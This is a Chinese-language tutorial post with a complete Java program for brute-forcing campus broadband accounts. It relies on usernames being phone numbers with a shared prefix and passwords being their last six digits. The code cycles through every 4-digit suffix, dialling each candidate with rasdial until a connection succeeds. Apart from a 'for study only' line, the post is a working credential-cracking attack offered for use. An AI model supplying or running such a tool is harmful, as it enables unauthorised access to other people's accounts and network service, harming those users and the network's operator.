前提:学校的手机号前7位相同,宽带密码都是手机号后六位。仅供学习。
准备工作:电脑一台,把校园网的宽带水晶头插在电脑上,
步骤:
win+R输入Rasphone点击新建,宽带,输入宽带名称(要记住这个名字,最好是英文字母的组合,账号与密码不用填),创建。执行下面的代码,把下面的手机号段前七位改为你要爆破的,youName改成你创建的宽带连接。import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;//暴力破解宽带public class Main { static String phoneFirst = "1322395"; //手机号的前七位 static String yourName = "xin"; //你起的宽带连接名 /** * 执行CMD命令,并返回String字符串 */ public static String executeCmd(String strCmd) throws Exception { Process p = Runtime.getRuntime().exec("cmd /c " + strCmd); StringBuilder sbCmd = new StringBuilder(); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK")); String line; while ((line = br.readLine()) != null) { sbCmd.append(line + "\n"); } return sbCmd.toString(); } /** * ADSL连接宽带 */ public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception { System.out.println("正在建立连接."); String adslCmd = "rasdial " + adslTitle + " " + adslName + " " + adslPass; String tempCmd = executeCmd(adslCmd); // 判断是否连接成功 if (tempCmd.indexOf("已连接") > 0) { System.out.println("已成功建立连接."); return true; } else { System.err.println(tempCmd); System.err.println("建立连接失败"); return false; } } /** * 断开ADSL */ public static boolean cutAdsl(String adslTitle) throws Exception { String cutAdsl = "rasdial " + adslTitle + " /disconnect"; String result = executeCmd(cutAdsl); if (result.indexOf("没有连接") != -1) { System.err.println(adslTitle + "连接不存在!"); return false; } else { System.out.println("连接已断开"); return true; } } /** * 测试网络是否连接 */ public static boolean isConnect() { boolean connect = false; Runtime runtime = Runtime.getRuntime(); Process process; try { process = runtime.exec("ping " + "www.baidu.com"); InputStream is = process.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); String line = null; StringBuffer sb = new StringBuffer(); while ((line = br.readLine()) != null) { sb.append(line); } System.out.println("返回值为:" + sb); is.close(); isr.close(); br.close(); if (null != sb && !sb.toString().equals("")) { if (sb.toString().indexOf("TTL") > 0) { // 网络畅通 connect = true; } else { // 网络不畅通 connect = false; } } } catch (IOException e) { e.printStackTrace(); } return connect; } //测试代码 public static void main(String[] args) throws InterruptedException, Exception { for (int i = 0; i <= 9999; i++) { boolean connect = isConnect(); String str = String.format("%04d", i);//获得长度为4的数字 String username = phoneFirst + str;//宽带账号 System.out.println("宽带账户:" + username); String password = username.substring(5); if (i % 3 == 0) { Thread.sleep(200);//防止拨号过于频繁 } if (!connect) {//没有拨号成功,则取消上次拨号 executeCmd("Rasdial " + yourName + " /DISCONNECT"); System.out.println("无网络,正在重新拨号"); connAdsl(yourName, username, password);//重新拨号 } else { System.out.println("网络正常");//破解成功,后面的break会暂停。 break; } } }}
如果执行中途退出了,再次执行的时候一定要把你创建的宽带连接删除掉,从第一步开始重新来!